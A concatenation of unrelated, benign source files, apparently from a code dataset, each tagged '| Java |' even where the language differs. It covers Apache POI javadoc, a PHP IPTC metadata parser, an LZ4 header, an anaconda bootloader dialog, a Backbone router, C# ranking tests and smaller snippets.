<div class="block">Should be called to tell the cell value cache that the specified (value or formula) cell
has changed.</div>
</td>
</tr>
<tr class="rowColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#notifyUpdateCell(org.apache.poi.ss.usermodel.Cell)">notifyUpdateCell</a></strong>(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</code>
<div class="block">Should be called to tell the cell value cache that the specified (value or formula) cell
has changed.</div>
</td>
</tr>
<tr class="altColor">
<td class="colFirst"><code>void</code></td>
<td class="colLast"><code><strong><a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#setDebugEvaluationOutputForNextEval(boolean)">setDebugEvaluationOutputForNextEval</a></strong>(boolean value)</code>
<div class="block">Perform detailed output of formula evaluation for next evaluation only?</div>
</td>
</tr>
</table>
</li>
</ul>
</li>
</ul>
</div>
<div class="details">
<ul class="blockList">
<li class="blockList">
<!-- ============ METHOD DETAIL ========== -->
<ul class="blockList">
<li class="blockList"><a name="method_detail">
<!-- -->
</a>
<h3>Method Detail</h3>
<a name="clearAllCachedResultValues()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>clearAllCachedResultValues</h4>
<pre>void clearAllCachedResultValues()</pre>
<div class="block">Should be called whenever there are changes to input cells in the evaluated workbook.
Failure to call this method after changing cell values will cause incorrect behaviour
of the evaluate~ methods of this class</div>
</li>
</ul>
<a name="notifySetFormula(org.apache.poi.ss.usermodel.Cell)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>notifySetFormula</h4>
<pre>void notifySetFormula(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</pre>
<div class="block">Should be called to tell the cell value cache that the specified (value or formula) cell
has changed.
Failure to call this method after changing cell values will cause incorrect behaviour
of the evaluate~ methods of this class</div>
</li>
</ul>
<a name="notifyDeleteCell(org.apache.poi.ss.usermodel.Cell)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>notifyDeleteCell</h4>
<pre>void notifyDeleteCell(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</pre>
<div class="block">Should be called to tell the cell value cache that the specified cell has just become a
formula cell, or the formula text has changed</div>
</li>
</ul>
<a name="notifyUpdateCell(org.apache.poi.ss.usermodel.Cell)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>notifyUpdateCell</h4>
<pre>void notifyUpdateCell(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</pre>
<div class="block">Should be called to tell the cell value cache that the specified (value or formula) cell
has changed.
Failure to call this method after changing cell values will cause incorrect behaviour
of the evaluate~ methods of this class</div>
</li>
</ul>
<a name="evaluateAll()">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>evaluateAll</h4>
<pre>void evaluateAll()</pre>
<div class="block">Loops over all cells in all sheets of the associated workbook.
For cells that contain formulas, their formulas are evaluated,
and the results are saved. These cells remain as formula cells.
For cells that do not contain formulas, no changes are made.
This is a helpful wrapper around looping over all cells, and
calling evaluateFormulaCell on each one.</div>
</li>
</ul>
<a name="evaluate(org.apache.poi.ss.usermodel.Cell)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>evaluate</h4>
<pre><a href="../../../../../org/apache/poi/ss/usermodel/CellValue.html" title="class in org.apache.poi.ss.usermodel">CellValue</a> evaluate(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</pre>
<div class="block">If cell contains a formula, the formula is evaluated and returned,
else the CellValue simply copies the appropriate cell value from
the cell and also its cell type. This method should be preferred over
evaluateInCell() when the call should not modify the contents of the
original cell.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>cell</code> - </dd></dl>
</li>
</ul>
<a name="evaluateFormulaCell(org.apache.poi.ss.usermodel.Cell)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>evaluateFormulaCell</h4>
<pre>int evaluateFormulaCell(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</pre>
<div class="block">If cell contains formula, it evaluates the formula,
and saves the result of the formula. The cell
remains as a formula cell.
Else if cell does not contain formula, this method leaves
the cell unchanged.
Note that the type of the formula result is returned,
so you know what kind of value is also stored with
the formula.
<pre>
int evaluatedCellType = evaluator.evaluateFormulaCell(cell);
</pre>
Be aware that your cell will hold both the formula,
and the result. If you want the cell replaced with
the result of the formula, use <a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateInCell(org.apache.poi.ss.usermodel.Cell)"><code>evaluateInCell(Cell)</code></a></div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>cell</code> - The cell to evaluate</dd>
<dt><span class="strong">Returns:</span></dt><dd>The type of the formula result (the cell's type remains as Cell.CELL_TYPE_FORMULA however)</dd></dl>
</li>
</ul>
<a name="evaluateInCell(org.apache.poi.ss.usermodel.Cell)">
<!-- -->
</a>
<ul class="blockList">
<li class="blockList">
<h4>evaluateInCell</h4>
<pre><a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> evaluateInCell(<a href="../../../../../org/apache/poi/ss/usermodel/Cell.html" title="interface in org.apache.poi.ss.usermodel">Cell</a> cell)</pre>
<div class="block">If cell contains formula, it evaluates the formula, and
puts the formula result back into the cell, in place
of the old formula.
Else if cell does not contain formula, this method leaves
the cell unchanged.
Note that the same instance of Cell is returned to
allow chained calls like:
<pre>
int evaluatedCellType = evaluator.evaluateInCell(cell).getCellType();
</pre>
Be aware that your cell value will be changed to hold the
result of the formula. If you simply want the formula
value computed for you, use <a href="../../../../../org/apache/poi/ss/usermodel/FormulaEvaluator.html#evaluateFormulaCell(org.apache.poi.ss.usermodel.Cell)"><code>evaluateFormulaCell(Cell)</code></a></div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>cell</code> - </dd></dl>
</li>
</ul>
<a name="setDebugEvaluationOutputForNextEval(boolean)">
<!-- -->
</a>
<ul class="blockListLast">
<li class="blockList">
<h4>setDebugEvaluationOutputForNextEval</h4>
<pre>void setDebugEvaluationOutputForNextEval(boolean value)</pre>
<div class="block">Perform detailed output of formula evaluation for next evaluation only?
Is for developer use only (also developers using POI for their XLS files).
Log-Level WARN is for basic info, INFO for detailed information. These quite
high levels are used because you have to explicitly enable this specific logging.</div>
<dl><dt><span class="strong">Parameters:</span></dt><dd><code>value</code> - whether to perform detailed output</dd></dl>
</li>
</ul>
</li>
</ul>
</li>
</ul>
</div>
</div>
<!-- ========= END OF CLASS DATA ========= -->
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar_bottom">
<!-- -->
</a><a href="#skip-navbar_bottom" title="Skip navigation links"></a><a name="navbar_bottom_firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../../../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li class="navBarCell1Rev">Class</li>
<li><a href="class-use/FormulaEvaluator.html">Use</a></li>
<li><a href="package-tree.html">Tree</a></li>
<li><a href="../../../../../deprecated-list.html">Deprecated</a></li>
<li><a href="../../../../../index-all.html">Index</a></li>
<li><a href="../../../../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../../../../org/apache/poi/ss/usermodel/FormulaError.html" title="enum in org.apache.poi.ss.usermodel"><span class="strong">Prev Class</span></a></li>
<li><a href="../../../../../org/apache/poi/ss/usermodel/FractionFormat.html" title="class in org.apache.poi.ss.usermodel"><span class="strong">Next Class</span></a></li>
</ul>
<ul class="navList">
<li><a href="../../../../../index.html?org/apache/poi/ss/usermodel/FormulaEvaluator.html" target="_top">Frames</a></li>
<li><a href="FormulaEvaluator.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../../../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<div>
<ul class="subNavList">
<li>Summary: </li>
<li>Nested | </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_summary">Method</a></li>
</ul>
<ul class="subNavList">
<li>Detail: </li>
<li>Field | </li>
<li>Constr | </li>
<li><a href="#method_detail">Method</a></li>
</ul>
</div>
<a name="skip-navbar_bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<p class="legalCopy"><small>
<i>Copyright 2014 The Apache Software Foundation or
its licensors, as applicable.</i>
</small></p>
</body>
</html>
| Java |
<?php
/**
* @file
* @brief sigplus Image Gallery Plus metadata extraction
* @author Levente Hunyadi
* @version 1.3.0
* @remarks Copyright (C) 2009-2010 Levente Hunyadi
* @remarks Licensed under GNU/GPLv3, see http://www.gnu.org/licenses/gpl-3.0.html
* @see http://hunyadi.info.hu/projects/sigplus
*/
/*
* sigplus Image Gallery Plus plug-in for Joomla
* Copyright 2009-2010 Levente Hunyadi
*
* sigplus is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* sigplus is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
// no direct access
defined( '_JEXEC' ) or die( 'Restricted access' );
class SIGPlusIPTCServices {
private static $enveloperecord = array(
0=>'Envelope Record Version',
5=>'Destination',
20=>'File Format',
22=>'File Version',
30=>'Service Identifier',
40=>'Envelope Number',
50=>'Product ID',
60=>'Envelope Priority',
70=>'Date Sent',
80=>'Time Sent',
90=>'Coded Character Set',
100=>'Unique Object Name',
120=>'ARM Identifier',
122=>'ARM Version');
private static $applicationrecord = array(
0=>'Application Record Version',
3=>'Object Type Reference',
4=>'Object Attribute Reference',
5=>'Object Name',
7=>'Edit Status',
8=>'Editorial Update',
10=>'Urgency',
12=>'Subject Reference',
15=>'Category',
20=>'Supplemental Categories',
22=>'Fixture Identifier',
25=>'Keywords',
26=>'Content Location Code',
27=>'Content Location Name',
30=>'Release Date',
35=>'Release Time',
37=>'Expiration Date',
38=>'Expiration Time',
40=>'Special Instructions',
42=>'Action Advised',
45=>'Reference Service',
47=>'Reference Date',
50=>'Reference Number',
55=>'Date Created',
60=>'Time Created',
62=>'Digital Creation Date',
63=>'Digital Creation Time',
65=>'Originating Program',
70=>'Program Version',
75=>'Object Cycle',
80=>'By-line',
85=>'By-line Title',
90=>'City',
92=>'Sub-location',
95=>'Province-State',
100=>'Country-Primary Location Code',
101=>'Country-Primary Location Name',
103=>'Original Transmission Reference',
105=>'Headline',
110=>'Credit',
115=>'Source',
116=>'Copyright Notice',
118=>'Contact',
120=>'Caption-Abstract',
121=>'Local Caption',
122=>'Writer-Editor',
125=>'Rasterized Caption',
130=>'Image Type',
131=>'Image Orientation',
135=>'Language Identifier',
150=>'Audio Type',
151=>'Audio Sampling Rate',
152=>'Audio Sampling Resolution',
153=>'Audio Duration',
154=>'Audio Outcue',
184=>'JobID',
185=>'Master Document ID',
186=>'Short Document ID',
187=>'Unique Document ID',
188=>'Owner ID',
200=>'Object Preview File Format',
201=>'Object Preview File Version',
202=>'Object Preview Data',
221=>'Prefs',
225=>'Classify State',
228=>'Similarity Index',
230=>'Document Notes',
231=>'Document History',
232=>'Exif Camera Info');
private static $fileformats = array(
0=>'No Object Data',
1=>'IPTC-NAA Digital Newsphoto Parameter Record',
2=>'IPTC7901 Recommended Message Format',
3=>'Tagged Image File Format (Adobe/Aldus Image data)',
4=>'Illustrator (Adobe Graphics data)',
5=>'AppleSingle (Apple Computer Inc)',
6=>'NAA 89-3 (ANPA 1312)',
7=>'MacBinary II',
8=>'IPTC Unstructured Character Oriented File Format (UCOFF)',
9=>'United Press International ANPA 1312 variant',
10=>'United Press International Down-Load Message',
11=>'JPEG File Interchange (JFIF)',
12=>'Photo-CD Image-Pac (Eastman Kodak)',
13=>'Bit Mapped Graphics File [.BMP] (Microsoft)',
14=>'Digital Audio File [.WAV] (Microsoft & Creative Labs)',
15=>'Audio plus Moving Video [.AVI] (Microsoft)',
16=>'PC DOS/Windows Executable Files [.COM][.EXE]',
17=>'Compressed Binary File [.ZIP] (PKWare Inc)',
18=>'Audio Interchange File Format AIFF (Apple Computer Inc)',
19=>'RIFF Wave (Microsoft Corporation)',
20=>'Freehand (Macromedia/Aldus)',
21=>'Hypertext Markup Language [.HTML] (The Internet Society)',
22=>'MPEG 2 Audio Layer 2 (Musicom), ISO/IEC',
23=>'MPEG 2 Audio Layer 3, ISO/IEC',
24=>'Portable Document File [.PDF] Adobe',
25=>'News Industry Text Format (NITF)',
26=>'Tape Archive [.TAR]',
27=>'Tidningarnas Telegrambyra NITF version (TTNITF DTD)',
28=>'Ritzaus Bureau NITF version (RBNITF DTD)',
29=>'Corel Draw [.CDR]');
/**
* Canonicalizes the value of a metadata entry to ensure proper display.
*/
private static function canonicalizeMetadataValue($key, $value) {
if (is_array($value)) {
switch (count($value)) {
case 0: return false; // nothing to process
case 1: $value = reset($value); break; // extract the only element from single-entry array
}
}
switch ($key) {
case 'Coded Character Set':
switch ($value) {
case "\x1b%G": $value = 'utf-8'; break;
case "\x1b.A": $value = 'iso-8859-1'; break;
case "\x1b.B": $value = 'iso-8859-2'; break;
case "\x1b.C": $value = 'iso-8859-3'; break;
case "\x1b.D": $value = 'iso-8859-4'; break;
default: $value = 'ascii'; // assume ASCII for unrecognized escape sequences
}
break;
case 'Envelope Record Version':
case 'File Version':
case 'ARM Identifier':
case 'ARM Version':
case 'Application Record Version':
case 'ObjectPreviewFileVersion':
$value = (int) $value;
break;
case 'File Format':
case 'ObjectPreviewFileFormat':
$value = (int) $value;
if (isset(self::$fileformats[$value])) {
$value = self::$fileformats[$value];
}
break;
case 'Image Orientation':
switch ($value) {
case 'L': $value = 'landscape'; break;
case 'P': $value = 'portrait'; break;
case 'S': $value = 'square'; break;
}
break;
}
return $value;
}
/**
* Map keys from PHP function @c iptcparse.
*/
private static function mapMetadataKeys($array) {
$metadata = array();
if ($array === false) {
return $metadata;
}
foreach ($array as $key => $value) {
@list($recordid, $tagid) = explode('#', $key, 2); // key = record number + # + tag ID
$recordid = (int) $recordid;
$tagid = (int) $tagid;
switch ($recordid) {
case 1: // envelope record
if (isset(self::$enveloperecord[$tagid])) {
$tagname = self::$enveloperecord[$tagid];
$metadata[$tagname] = self::canonicalizeMetadataValue($tagname, $value);
}
break;
case 2: // application record
if (isset(self::$applicationrecord[$tagid])) {
$tagname = self::$applicationrecord[$tagid];
$metadata[$tagname] = self::canonicalizeMetadataValue($tagname, $value);
}
break;
}
}
if (!isset($metadata['Coded Character Set'])) { // assume cp1252 (Latin1) if no character set is specified
$charset = 'cp1252';
} else {
$charset = $metadata['Coded Character Set'];
}
if ($charset != 'utf-8') {
foreach ($metadata as $key => &$value) {
$value = iconv($charset, 'utf-8', $value);
}
}
unset($metadata['Envelope Record Version']);
unset($metadata['Coded Character Set']);
unset($metadata['Application Record Version']);
return $metadata;
}
private static function getIptcData($imagefile) {
$info = array();
$size = getimagesize($imagefile, $info);
if ($size !== false && isset($info["APP13"])) {
return self::mapMetadataKeys(iptcparse($info["APP13"]));
} else {
return false;
}
}
private static function getExifData($imagefile) {
if (!function_exists('exif_read_data')) {
return false;
}
if (($exifdata = exif_read_data($imagefile, 'EXIF')) === false) {
return false;
} else {
unset($exifdata['SectionsFound']);
unset($exifdata['Exif_IFD_Pointer']);
unset($exifdata['COMPUTED']);
unset($exifdata['THUMBNAIL']);
return $exifdata;
}
}
/**
* Returns IPTC metadata for an image
*/
public static function getImageMetadata($imagefile) {
$iptcdata = self::getIptcData($imagefile);
if (false) { // whether to include EXIF information in metadata
$exifdata = self::getExifData($imagefile);
} else {
$exifdata = false;
}
if (is_array($iptcdata) && is_array($exifdata)) {
return array_merge($iptcdata, $exifdata);
} elseif (is_array($iptcdata)) {
return $iptcdata;
} elseif (is_array($exifdata)) {
return $exifdata;
} else {
return false;
}
}
} | Java |
include(FindPkgConfig)
pkg_check_modules(LibAvCodec REQUIRED libavcodec)
| Java |
package MultiplyStrings;
/**
* Created by gzhou on 6/1/15.
*/
public class Solution {
public static void main(String[] args) {
System.out.println(multiply("123", "20"));
}
public static String multiply(String num1, String num2) {
String n1 = new StringBuilder(num1).reverse().toString();
String n2 = new StringBuilder(num2).reverse().toString();
int[] tmp = new int[n1.length() + n2.length()];
for (int i = 0; i < n1.length(); i++) {
int a = n1.charAt(i) - '0';
for (int j = 0; j < n2.length(); j++) {
int b = n2.charAt(j) - '0';
tmp[i + j] += b * a;
}
}
StringBuilder sb = new StringBuilder();
for (int k = 0; k < tmp.length; k++) {
int d = tmp[k] % 10;
int carry = tmp[k] / 10;
// will insert digit from left most
sb.insert(0, d);
if (k < tmp.length - 1) {
tmp[k + 1] += carry;
}
}
// remove zeros which are created by initialization of 'tmp'
while(sb.length()>0 && sb.charAt(0)=='0'){
sb.deleteCharAt(0);
}
return sb.length()==0? "0" : sb.toString();
}
}
| Java |
<HTML>
<!-- Mirrored from www.w3schools.com/asp/showaspcode.asp?source=demo_driveexists by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:11:37 GMT -->
<HEAD></HEAD>
<FONT FACE="Verdana, Arial, Helvetica" SIZE=2>
<!DOCTYPE html><br><html><br><body><br><FONT COLOR=#ff0000><%<br>Set fs=Server.CreateObject("Scripting.FileSystemObject")<br><br>if fs.driveexists("c:") = true then<br> Response.Write("Drive c: exists.")<br>Else<br> Response.Write("Drive c: does not exist.")<br>End If<br><br>Response.write("<br>")<br><br>if fs.driveexists("g:") = true then<br> Response.Write("Drive g: exists.")<br>Else<br> Response.Write("Drive g: does not exist.")<br>End If<br><br>set fs=nothing<br>%></FONT><br><br></body><br></html><br>
<!-- Mirrored from www.w3schools.com/asp/showaspcode.asp?source=demo_driveexists by HTTrack Website Copier/3.x [XR&CO'2014], Fri, 23 Jan 2015 08:11:37 GMT -->
</HTML>
| Java |
/*
LZ4 HC - High Compression Mode of LZ4
Header File
Copyright (C) 2011-2012, Yann Collet.
BSD 2-Clause License (http://www.opensource.org/licenses/bsd-license.php)
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are
met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above
copyright notice, this list of conditions and the following disclaimer
in the documentation and/or other materials provided with the
distribution.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
You can contact the author at :
- LZ4 homepage : http://fastcompression.blogspot.com/p/lz4.html
- LZ4 source repository : http://code.google.com/p/lz4/
*/
#pragma once
#if defined (__cplusplus)
extern "C" {
#endif
//**************************************
// Basic Types
//**************************************
#ifndef BYTE
#define BYTE uint8_t
#endif
#ifndef U16
#define U16 uint16_t
#endif
#ifndef U32
#define U32 uint32_t
#endif
#ifndef S32
#define S32 int32_t
#endif
#ifndef U64
#define U64 uint64_t
#endif
#ifndef HTYPE
#define HTYPE const BYTE*
#endif
//**************************************
// Constants
//**************************************
#define MINMATCH 4
#define DICTIONARY_LOGSIZE 16
#define MAXD (1<<DICTIONARY_LOGSIZE)
#define MAXD_MASK ((U32)(MAXD - 1))
#define MAX_DISTANCE (MAXD - 1)
#define HASH_LOG (DICTIONARY_LOGSIZE-1)
#define HASHTABLESIZE (1 << HASH_LOG)
#define HASH_MASK (HASHTABLESIZE - 1)
#define MAX_NB_ATTEMPTS 256
#define ML_BITS 4
#define ML_MASK (size_t)((1U<<ML_BITS)-1)
#define RUN_BITS (8-ML_BITS)
#define RUN_MASK ((1U<<RUN_BITS)-1)
#define COPYLENGTH 8
#define LASTLITERALS 5
#define MFLIMIT (COPYLENGTH+MINMATCH)
#define MINLENGTH (MFLIMIT+1)
#define OPTIMAL_ML (int)((ML_MASK-1)+MINMATCH)
typedef struct
{
const BYTE* base;
HTYPE hashTable[HASHTABLESIZE];
U16 chainTable[MAXD];
const BYTE* nextToUpdate;
} LZ4HC_Data_Structure;
int LZ4_compressHC (const char* source, char* dest, int isize, char* hashTable);
/*
LZ4_compressHC :
return : the number of bytes in compressed buffer dest
note : destination buffer must be already allocated.
To avoid any problem, size it to handle worst cases situations (input data not compressible)
Worst case size evaluation is provided by function LZ4_compressBound() (see "lz4.h")
*/
/* Note :
Decompression functions are provided within regular LZ4 source code (see "lz4.h") (BSD license)
*/
#if defined (__cplusplus)
}
#endif
| Java |
#
# bootloader_advanced.py: gui advanced bootloader configuration dialog
#
# Jeremy Katz <katzj@redhat.com>
#
# Copyright 2001-2002 Red Hat, Inc.
#
# This software may be freely redistributed under the terms of the GNU
# library public license.
#
# You should have received a copy of the GNU Library Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
#
import gtk
import gobject
import iutil
import partedUtils
import gui
from iw_gui import *
from rhpl.translate import _, N_
from bootlocwidget import BootloaderLocationWidget
class AdvancedBootloaderWindow(InstallWindow):
windowTitle = N_("Advanced Boot Loader Configuration")
def __init__(self, ics):
InstallWindow.__init__(self, ics)
self.parent = ics.getICW().window
def getPrev(self):
pass
def getNext(self):
# forcing lba32 can be a bad idea.. make sure they really want to
if (self.forceLBA.get_active() and not self.bl.forceLBA32):
rc = self.intf.messageWindow(_("Warning"),
_("Forcing the use of LBA32 for your bootloader when "
"not supported by the BIOS can cause your machine "
"to be unable to boot.\n\n"
"Would you like to continue and force LBA32 mode?"),
type = "custom",
custom_buttons = [_("Cancel"),
_("Force LBA32")])
if rc != 1:
raise gui.StayOnScreen
# set forcelba
self.bl.setForceLBA(self.forceLBA.get_active())
# set kernel args
self.bl.args.set(self.appendEntry.get_text())
# set the boot device
self.bl.setDevice(self.blloc.getBootDevice())
# set the drive order
self.bl.drivelist = self.blloc.getDriveOrder()
# set up the vbox with force lba32 and kernel append
def setupOptionsVbox(self):
self.options_vbox = gtk.VBox(False, 5)
self.options_vbox.set_border_width(5)
self.forceLBA = gtk.CheckButton(_("_Force LBA32 (not normally required)"))
self.options_vbox.pack_start(self.forceLBA, False)
self.forceLBA.set_active(self.bl.forceLBA32)
label = gui.WrappingLabel(_("If you wish to add default options to the "
"boot command, enter them into "
"the 'General kernel parameters' field."))
label.set_alignment(0.0, 0.0)
self.options_vbox.pack_start(label, False)
label = gui.MnemonicLabel(_("_General kernel parameters"))
self.appendEntry = gtk.Entry()
label.set_mnemonic_widget(self.appendEntry)
args = self.bl.args.get()
if args:
self.appendEntry.set_text(args)
box = gtk.HBox(False, 0)
box.pack_start(label)
box.pack_start(self.appendEntry)
al = gtk.Alignment(0.0, 0.0)
al.add(box)
self.options_vbox.pack_start(al, False)
def getScreen(self, anaconda):
self.dispatch = anaconda.dispatch
self.bl = anaconda.id.bootloader
self.intf = anaconda.intf
thebox = gtk.VBox (False, 10)
# boot loader location bits (mbr vs boot, drive order)
self.blloc = BootloaderLocationWidget(anaconda, self.parent)
thebox.pack_start(self.blloc.getWidget(), False)
thebox.pack_start (gtk.HSeparator(), False)
# some optional things
self.setupOptionsVbox()
thebox.pack_start(self.options_vbox, False)
return thebox
| Java |
import Backbone from 'backbone';
export default class Router extends Backbone.Router {
get routes() {
return {
'(/)': 'home',
'login': 'login',
'access_token=*token': 'token',
'activity': 'activity',
'swim': 'swim',
'sleep': 'sleep',
'about': 'about',
'privacy': 'privacy'
};
}
}
| Java |
using System.Collections.Generic;
using System.Collections.ObjectModel;
using System.Threading.Tasks;
using Microsoft.VisualStudio.TestTools.UnitTesting;
using Moq;
using TournamentMaker.BO;
using TournamentMaker.DAL.Interfaces;
namespace TournamentMaker.BP.Tests
{
[TestClass]
public class MatchBPTests
{
private readonly Mock<IMatchStore> _matchStoreMock;
private readonly Mock<IPlayerStore> _playerStoreMock;
private readonly Mock<ITeamStore> _teamStoreMock;
private readonly Mock<ISportStore> _sportStoreMock;
public MatchBPTests()
{
_matchStoreMock = new Mock<IMatchStore>(MockBehavior.Strict);
_playerStoreMock = new Mock<IPlayerStore>(MockBehavior.Strict);
_teamStoreMock = new Mock<ITeamStore>(MockBehavior.Strict);
_sportStoreMock = new Mock<ISportStore>(MockBehavior.Strict);
}
[TestMethod]
public async Task Close2PlayersTest()
{
var matchBP = new MatchBP(_matchStoreMock.Object, _playerStoreMock.Object, _teamStoreMock.Object, _sportStoreMock.Object);
var rank1 = new Rank { Level = 1000, SportKey = "sport" };
var rank2 = new Rank { Level = 1000, SportKey = "sport" };
var match = new BO.Match
{
Id = 1,
CreatorId = "creator",
SportKey = "sport",
Scores = "1-2;3-1;3-2",
Teams = new List<Team>
{
new Team {Players = new List<Player> {new Player {Matricule = "S123456", Ranks = new Collection<Rank> {rank1}}}, Id = 1},
new Team {Players = new List<Player> {new Player {Matricule = "S123457", Ranks = new Collection<Rank> {rank2}}}, Id = 2}
}
};
_matchStoreMock.Setup(m => m.GetWithPlayersAndRanks(1)).ReturnsAsync(match);
_matchStoreMock.Setup(m => m.SaveChangesAsync()).Returns(() => Task.FromResult(default(Task)));
var result = await matchBP.Close(match, "creator");
_matchStoreMock.VerifyAll();
Assert.AreEqual(match, result);
Assert.AreEqual(rank1.Level, 1007);
Assert.AreEqual(rank2.Level, 993);
}
[TestMethod]
public async Task Close2PlayersDrawTest()
{
var matchBP = new MatchBP(_matchStoreMock.Object, _playerStoreMock.Object, _teamStoreMock.Object, _sportStoreMock.Object);
var rank1 = new Rank {Level = 1000, SportKey = "sport"};
var rank2 = new Rank {Level = 1000, SportKey = "sport"};
var match = new BO.Match
{
Id = 1,
CreatorId = "creator",
SportKey = "sport",
Scores = "1-2;1-1;2-1",
Teams = new List<Team>
{
new Team {Players = new List<Player> {new Player {Matricule = "S123456", Ranks = new Collection<Rank> {rank1}}}, Id = 1},
new Team {Players = new List<Player> {new Player {Matricule = "S123457", Ranks = new Collection<Rank> {rank2}}}, Id = 2}
}
};
_matchStoreMock.Setup(m => m.GetWithPlayersAndRanks(1)).ReturnsAsync(match);
_matchStoreMock.Setup(m => m.SaveChangesAsync()).Returns(() => Task.FromResult(default(Task)));
var result = await matchBP.Close(match,"creator");
_matchStoreMock.VerifyAll();
Assert.AreEqual(match, result);
Assert.AreEqual(rank1.Level, 1000);
Assert.AreEqual(rank2.Level, 1000);
}
[TestMethod]
public async Task Close2PlayersDrawTest2()
{
var matchBP = new MatchBP(_matchStoreMock.Object, _playerStoreMock.Object, _teamStoreMock.Object, _sportStoreMock.Object);
var rank1 = new Rank { Level = 1800, SportKey = "sport", };
var rank2 = new Rank { Level = 2005, SportKey = "sport" };
var match = new BO.Match
{
Id = 1,
CreatorId = "creator",
SportKey = "sport",
Scores = "1-2;1-1;2-1",
Teams = new List<Team>
{
new Team {Players = new List<Player> {new Player {Parties = 31, Matricule = "S123456", Ranks = new Collection<Rank> {rank1}}}, Id = 1},
new Team {Players = new List<Player> {new Player {Parties = 31, Matricule = "S123457", Ranks = new Collection<Rank> {rank2}}}, Id = 2}
}
};
_matchStoreMock.Setup(m => m.GetWithPlayersAndRanks(1)).ReturnsAsync(match);
_matchStoreMock.Setup(m => m.SaveChangesAsync()).Returns(() => Task.FromResult(default(Task)));
var result = await matchBP.Close(match,"creator");
_matchStoreMock.VerifyAll();
Assert.AreEqual(match, result);
Assert.AreEqual(1804, rank1.Level);
Assert.AreEqual(2001, rank2.Level);
}
}
} | Java |
// Copyright (C) 1999,2000 Bruce Guenter <bruceg@em.ca>
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation; either version 2 of the License, or
// (at your option) any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with this program; if not, write to the Free Software
// Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
#include <config.h>
#include "response.h"
mystring response::codestr() const
{
static const mystring errstr = "ERROR";
static const mystring econnstr = "ECONN";
static const mystring badstr = "BAD";
